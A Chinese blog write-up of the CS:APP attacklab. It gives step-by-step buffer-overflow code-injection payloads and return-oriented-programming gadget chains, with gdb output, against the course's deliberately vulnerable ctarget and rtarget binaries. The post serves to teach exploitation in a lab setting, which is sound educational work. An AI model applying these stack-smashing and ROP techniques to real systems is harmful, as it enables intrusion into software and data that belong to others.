.cs是什么文件_CS:APP实验之attacklab

几个月一直在看ML和DL相关的东西,CSAPP书倒是没再翻过 。寻思着第四章流水线和学校说的差距有点大,看完SEQ的部分后面暂时先放放,如果以后考研结束了再学再做 。这次做一下仍然与第三章相关的 lab,发现自己不看书就忘得差不多了,gdb一定要会才能做的熟练 。
实验环境
18.04 LTS实体机
预备内容
gdb手册(那一篇里有链接)
CS:APP3e,and O'
操作流程 这个极其重要!文章里有些细枝末节的东西没提到,就到这里看 。
【.cs是什么文件_CS:APP实验之attacklab】整个lab就是跟着一步一步来,建议不熟练或者忘掉第三章内容的再去复习一下 。
实验说明
整个lab分为5个level,前3个是代码注入,后2个是回归导向编程ROP攻击,我们一个一个看
Part I :Codelevel 1
不管怎么样,先把第一部分的代码反汇编弄出来 。
objdump -d ctarget > c.txt
贴上给出的函数代码:
void test(){int val;val = getbuf();printf("No exploit. Getbuf returned 0x%xn", val);}void touch1() {vlevel = 1;printf("Touch!: You called touch1()n");validate(1);exit(0);}
我们这里先来看看执行是什么情况
leyn@leyn-ThinkPad-X230:~/csapplab/target1$ ./ctarget -qCookie: 0x59b997faType string:1234No exploit.Getbuf returned 0x1Normal return
注意我们在执行程序的时候默认是连接到cmu的服务器,但是我们不是cmu的学生所以连不上服务器也就无法执行代码,所以执行的时候要加命令行参数 -q 以阻止连接到服务器的行为 。这里随便填了几个数字,报错 。
的流程大概就是执行test函数,然后输入字符串 。这里level 1的要求是调用函数即可 。找到里函数的反汇编 。
00000000004017a8 :4017a8: 48 83 ec 28sub$0x28,%rsp4017ac: 48 89 e7mov%rsp,%rdi4017af: e8 8c 02 00 00callq401a40 4017b4: b8 01 00 00 00mov$0x1,%eax4017b9: 48 83 c4 28add$0x28,%rsp4017bd: c3retq4017be: 90nop4017bf: 90nop
看到开辟了40个字节的栈空间,回忆一下栈的分配方式,这里借用某博客的图显示的更清楚 。
这个echo函数开辟了24字节的栈空间,函数里有用户自定义的8字节的数组,用户在8字节内可以随便输入,但是输入超过23字节,就会覆盖到调用者栈帧最下面的返回地址 。这里我们的是开辟了40个字节的空间,只要我们输入的字符串将调用者的返回地址覆盖成我们想要它返回的地址即可 。查看的反汇编
00000000004017c0 :4017c0: 48 83 ec 08sub$0x8,%rsp4017c4: c7 05 0e 2d 20 00 01movl$0x1,0x202d0e(%rip)# 6044dc 4017cb: 00 00 00 4017ce: bf c5 30 40 00mov$0x4030c5,%edi4017d3: e8 e8 f4 ff ffcallq400cc0 4017d8: bf 01 00 00 00mov$0x1,%edi4017dd: e8 ab 04 00 00callq401c8d 4017e2: bf 00 00 00 00mov$0x0,%edi4017e7: e8 54 f6 ff ffcallq400e40
发现的首地址是 ,注意我们这里要用小端法,即输入的字符串要写成c0 17 40这样,开辟的40字节空间里面填什么无所谓 。最后我们可以填成这样:
00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00c0 17 40
看一下结果
leyn@leyn-ThinkPad-X230:~/csapplab/target1$ ./hex2raw < l1.txt | ./ctarget -qCookie: 0x59b997faType string:Touch1!: You called touch1()Valid solution for level 1 with target ctargetPASS: Would have posted the following:user id bovikcourse 15213-f15lab attacklabresult 1:PASS:0xffffffff:ctarget:1:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 C0 17 40 leyn@leyn-ThinkPad-X230:~/csapplab/target1$
用图来表示就是这样
我们可以使用文件重定向输入,格式如上,要加参数 -q 。返回成功 。
level 2
放上的代码和反汇编先
void touch2(unsigned val){vlevel = 2;if (val == cookie){printf("Touch2!: You called touch2(0x%.8x)n", val);validate(2);} else {printf("Misfire: You called touch2(0x%.8x)n", val);fail(2);}exit(0);}
反汇编
00000000004017ec :4017ec: 48 83 ec 08sub$0x8,%rsp4017f0: 89 famov%edi,%edx4017f2: c7 05 e0 2c 20 00 02movl$0x2,0x202ce0(%rip)# 6044dc 4017f9: 00 00 00 4017fc: 3b 3d e2 2c 20 00cmp0x202ce2(%rip),%edi# 6044e4 401802: 75 20jne401824 401804: be e8 30 40 00mov$0x4030e8,%esi401809: bf 01 00 00 00mov$0x1,%edi40180e: b8 00 00 00 00mov$0x0,%eax401813: e8 d8 f5 ff ffcallq400df0 <__printf_chk@plt>401818: bf 02 00 00 00mov$0x2,%edi40181d: e8 6b 04 00 00callq401c8d 401822: eb 1ejmp401842 401824: be 10 31 40 00mov$0x403110,%esi401829: bf 01 00 00 00mov$0x1,%edi40182e: b8 00 00 00 00mov$0x0,%eax401833: e8 b8 f5 ff ffcallq400df0 <__printf_chk@plt>401838: bf 02 00 00 00mov$0x2,%edi40183d: e8 0d 05 00 00callq401d4f 401842: bf 00 00 00 00mov$0x0,%edi401847: e8 f4 f5 ff ffcallq400e40
大意还是一样的,调用即成功 。我们看见传了一个参数,这个参数值如果等于的话就成功 。的值在给定的文件.txt里有,我的是 。
回忆一下,函数的第一个参数放在 %rdi 寄存器里面,这里我们显然不能直接输入字符串,需要借助汇编语言来实现 。具体解题思路如下:
即我们的汇编代码为
movq$0x59b997fa, %rdipushq0x4017ecret
命令行里编译再查看其反汇编
linux> gcc -c l2.slinux> objdump -d l2.oDisassembly of section .text:0000000000000000 <.text>:0:48 c7 c7 fa 97 69 59mov$0x596997fa,%rdi7:68 ec 17 40 00pushq$0x4017ecc:c3retq
这三条指令地址我们就有了,就是每行反汇编最前面的一长串十六进制数字,接着我们去找%rsp在哪,借助gdb 。
(gdb) break *0x4017acBreakpoint 1 at 0x4017ac: file buf.c, line 14.(gdb) run -qStarting program: /home/leyn/csapplab/target1/ctarget -qCookie: 0x59b997faBreakpoint 1, getbuf () at buf.c:1414 buf.c: 没有那个文件或目录.(gdb) info registers... //省略rsp0x5561dc78 0x5561dc78... //省略
得到%rsp地址,然后写注入字符串就好了,字符串为 注入代码地址——无用字符——返回地址 。
48 c7 c7 fa 97 b9 59 68ec 17 40 00 c3 33 33 3333 33 33 33 33 33 33 3333 33 33 33 33 33 33 3333 33 33 33 33 33 33 3378 dc 61 55 00 00 00 00
测试
leyn@leyn-ThinkPad-X230:~/csapplab/target1$ ./hex2raw < lev2.txt | ./ctarget -qCookie: 0x59b997faType string:Touch2!: You called touch2(0x59b997fa)Valid solution for level 2 with target ctargetPASS: Would have posted the following:user id bovikcourse 15213-f15lab attacklabresult 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 78 DC 61 55 00 00 00 00
成功 。栈帧图如下
level 3
上和代码
void touch3(char *sval){vlevel = 3;if (hexmatch(cookie, sval)){printf("Touch3!: You called touch3("%s")n", sval);validate(3);} else {printf("Misfire: You called touch3("%s")n", sval);fail(3);}exit(0);}int hexmatch(unsigned val, char *sval){char cbuf[110];char *s = cbuf + random() % 100;sprintf(s, "%.8x", val);return strncmp(sval, s, 9) == 0;}
这次还是要调用,与前面不同的是,这次传进的参数是一个字符串,同时函数内部用了另外一个函数来比较 。本次要 比较的是""这个字符串 。
里给了几个提示:
这次与上一次的最大区别就是多了一个函数,也开辟了110字节的栈帧,也会开辟空间,但是就代码来看,*s存放的地址是随机的,如果我们将数据放在的栈空间里面,很有可能就被这两个函数cover了 。所以我们要把数据放到一个相对安全的栈空间里,这里我们选择放在父帧即test的栈空间里 。gdb看一下test栈空间地址 。
(gdb) break *0x40196cBreakpoint 1 at 0x40196c: file visible.c, line 92.(gdb) run -qStarting program: /home/leyn/csapplab/target1/ctarget -qCookie: 0x59b997faBreakpoint 1, test () at visible.c:9292 visible.c: 没有那个文件或目录.(gdb) info r rsp rsp0x5561dca8 0x5561dca8
找到了test的栈空间地址 。所以解题思路大致为:
汇编代码
movq$0x5561dca8, %rdipushq0x4018faret
编译查看
linux> gcc -c l3.slinux> objdump -d l3.oDisassembly of section .text:0000000000000000 <.text>:0:48 c7 c7 a8 dc 61 55mov$0x5561dca8,%rdi7:68 fa 18 40 00pushq$0x4018fac:c3retq
使用man ascii命令得到的十六进制
35 39 62 39 39 37 66 61 00
最后的输入文件
48 c7 c7 a8 dc 61 55 68fa 18 40 00 c3 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0078 dc 61 55 00 00 00 0035 39 62 39 39 37 66 6100
测试
leyn@leyn-ThinkPad-X230:~/csapplab/target1$ ./hex2raw < l3.txt | ./ctarget -qCookie: 0x59b997faType string:Touch3!: You called touch3("59b997fa")Valid solution for level 3 with target ctargetPASS: Would have posted the following:user id bovikcourse 15213-f15lab attacklabresult 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
成功 。栈空间图片如下
Part II:-
我们先把反汇编文件弄出来
objdump -d rtarget > r.txt
这里的写的十分详细,还给出了mov pop ret nop指令的字节码表,表自己在里看这边不放了,有一张图是简要说明怎么利用的
在ROP攻击中设置了栈随机化,所以我们不能像前面三个一样定位到精确地址插入代码 。为了实现攻击,我们要在已经给定的代码中找到特定的指令序列,这些序列以ret结尾,我们把这些命令叫做 。
每一段包含一系列指令字节,而且以ret结尾,跳转到下一个,就这样连续的执行一系列的指令代码,对程序造成攻击 。譬如给的示例:
void setval_210(unsigned *p){*p = 3347663060U;}
反汇编后得到它的指令字节编码
0000000000400f15 :400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)400f1b: c3 retq
这样我们就可以利用已经存在的程序,从中间提取出特殊的指令,这里的 48 89 c7就是mov %rax ,%rdi 的编码,其地址在。
然后还要把farm.c的指令弄出来
gcc -c -Og farm.cobjdump -d farm.o > f.d
这里有个小坑,编译的时候要加-Og的选项,不然就会采用 stack frame ,而里是没有用该指针的,不加的话指令编码会很复杂 。
level 2
的要求和一样,调用 。再放下的代码方便看
void touch2(unsigned val){vlevel = 2;if (val == cookie){printf("Touch2!: You called touch2(0x%.8x)n", val);validate(2);} else {printf("Misfire: You called touch2(0x%.8x)n", val);fail(2);}exit(0);}
放上我们可以用到的
0000000000000000 :0: b8 01 00 00 00mov$0x1,%eax5: c3retq0000000000000006 :6: b8 fb 78 90 90mov$0x909078fb,%eaxb: c3retq000000000000000c :c: 8d 87 48 89 c7 c3lea-0x3c3876b8(%rdi),%eax12: c3retq0000000000000013 :13: 8d 87 51 73 58 90lea-0x6fa78caf(%rdi),%eax19: c3retq000000000000001a :1a: c7 07 48 89 c7 c7movl$0xc7c78948,(%rdi)20: c3retq0000000000000021 :21: c7 07 54 c2 58 92movl$0x9258c254,(%rdi)27: c3retq0000000000000028 :28: c7 07 63 48 8d c7movl$0xc78d4863,(%rdi)2e: c3retq000000000000002f :2f: c7 07 48 89 c7 90movl$0x90c78948,(%rdi)35: c3retq0000000000000036 :36: b8 29 58 90 c3mov$0xc3905829,%eax3b: c3retq000000000000003c :3c: b8 01 00 00 00mov$0x1,%eax41: c3retq
那么我们的做法还是像之前一样,将放到%rdi,把的地址放到栈中,以ret执行 。提示,我们利用的是从到之间的,并且只需要两个 。结合我们之前的做法,猜测是需要一个mov命令来放参数,另外一个结合提示就是pop命令了,pop会把栈顶的弹出到另外一个寄存器,再用mov命令写到%rdi里 。把mov和pop的字节编码表贴出
到farm里一个个对,找到了pop %rax的58编码和48 89 c7的mov %rax,%rdi编码 。我们这里选两个,219作为pop的farm,273作为mov的farm 。这里犯了一个sb的错,farm不是可执行文件,不能把farm里的地址写上去……要在里找 。
00000000004019a0 :4019a0: 8d 87 48 89 c7 c3lea-0x3c3876b8(%rdi),%eax4019a6: c3retq00000000004019a7 :4019a7: 8d 87 51 73 58 90lea-0x6fa78caf(%rdi),%eax4019ad: c3retq
mov字段从开始,pop从开始 。我们需要的代码是这样
popq %raxmovq %rax,%rdi
用图来看是这样
测试
leyn@leyn-ThinkPad-X230:~/csapplab/target1$ ./hex2raw < p4.txt | ./rtarget -qCookie: 0x59b997faType string:Touch2!: You called touch2(0x59b997fa)Valid solution for level 2 with target rtargetPASS: Would have posted the following:user id bovikcourse 15213-f15lab attacklabresult 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
成功 。
level 3
Extra关卡要求就是做到和一样 。可以用farm里的所有,要8个小工具 。代码如下:
void touch3(char *sval){vlevel = 3;if (hexmatch(cookie, sval)){printf("Touch3!: You called touch3("%s")n", sval);validate(3);} else {printf("Misfire: You called touch3("%s")n", sval);fail(3);}exit(0);}int hexmatch(unsigned val, char *sval){char cbuf[110];char *s = cbuf + random() % 100;sprintf(s, "%.8x", val);return strncmp(sval, s, 9) == 0;}
先把转成ascii码,最后别忘加0.
35 39 62 39 39 37 66 61 00
思路:
0000000000000042 :42: 48 8d 04 37lea(%rdi,%rsi,1),%rax46: c3retq
实现了%rax = %rdi + %rsi
所以具体操作就是:
寄存器之间的转化就可以自己查表配,bias需要额外计算一下
bias的值是这样:可以看到在返回地址和字符串首地址之间有9条指令,每个指令8个byte,共也就是0x48 。于是就可以拿到最终的字符串:
00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 0006 1a 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 cc 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 dd 19 40 00 00 00 00 00 70 1a 40 00 00 00 00 00 13 1a 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00
测试
leyn@leyn-ThinkPad-X230:~/csapplab/target1$ ./hex2raw < n5.txt | ./rtarget -qCookie: 0x59b997faType string:Touch3!: You called touch3("59b997fa")Valid solution for level 3 with target rtargetPASS: Would have posted the following:user id bovikcourse 15213-f15lab attacklabresult 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 CC 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 70 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00
成功 。
********************************
至此 lab就算是结束了,不得不说这个lab确实很有意思,gdb大法确实很重要 。后面仍然会继续做lab,不过要同时进行ML和DL水论文还有的lab还有6.828,所以csapp会尽量快的做 。包括这段时间经历,算是有点理解大佬们是怎么学下去的了 。
参考:
CSAPP: lab
孟佬的 lab
不周山